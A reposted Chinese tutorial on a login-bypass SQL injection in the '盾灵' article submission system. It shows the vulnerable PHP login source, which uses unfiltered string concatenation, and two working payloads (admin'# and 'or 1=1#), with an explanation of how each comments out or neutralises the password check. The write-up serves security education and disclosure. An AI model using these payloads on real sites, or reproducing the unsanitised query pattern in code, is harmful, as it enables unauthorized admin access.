欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

盾灵原创文章投稿系统后台绕过漏洞

程序员文章站 2022-03-08 12:15:57
...

来到登陆地址,login.php,我们看下这个文件的源码。

<?php
require '../config.php';
$adminname = $_POST['adminname'];
$adminpass = $_POST['adminpass'];
$adminpass .= "Axphp.com";
$adminpass = md5($adminpass);
$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";
$adminery = mysql_query($adminsql, $config);
$adminnum = mysql_num_rows($adminery);
if ($adminnum == "1") {
setcookie("admin", "Y", time() + 3600, '/');
setcookie("admin_name", $adminname, time() + 3600, '/');
header("location:axadmin.php");
} else {
header("location:axphp.php");
}
?>
$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";

我们发现没有做任何过滤

我们构造一下sql语句绕过后台登陆
盾灵原创文章投稿系统后台绕过漏洞

成功登陆后台

我们来看一下我们的payload admin’# 为什么能绕过后台登陆:

$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";
$adminsql = "select * from axphp_admin where adminname='admin'#' and adminpass='$adminpass'";//我们构造的sql语句

‘闭合了前面的‘,#是注释,#后面的sql语句将不会执行,会执行的sql语句:

select * from axphp_admin where adminname='admin'

因为我们的账号确实是admin,所以成功登陆。

举一反三,假如我们不知道账号也不知道密码怎么构造sql语句绕过后台登陆呢?

这里先要知道一个知识点:or,只要两个条件其中一个为真即为真,举个例子:
1+1=1 or 1+1=2,为真,没毛病~~
我们来构造一下sql语句:
盾灵原创文章投稿系统后台绕过漏洞

我们来看一下我们的payload ‘or 1=1#为什么能绕过后台登陆:

(#后面的sql语句将不会执行,会执行的sql语句)

select * from axphp_admin where adminname=''or 1=1

‘ ’ or 1=1为真

所以即使不知道账号密码我们也可以成功登陆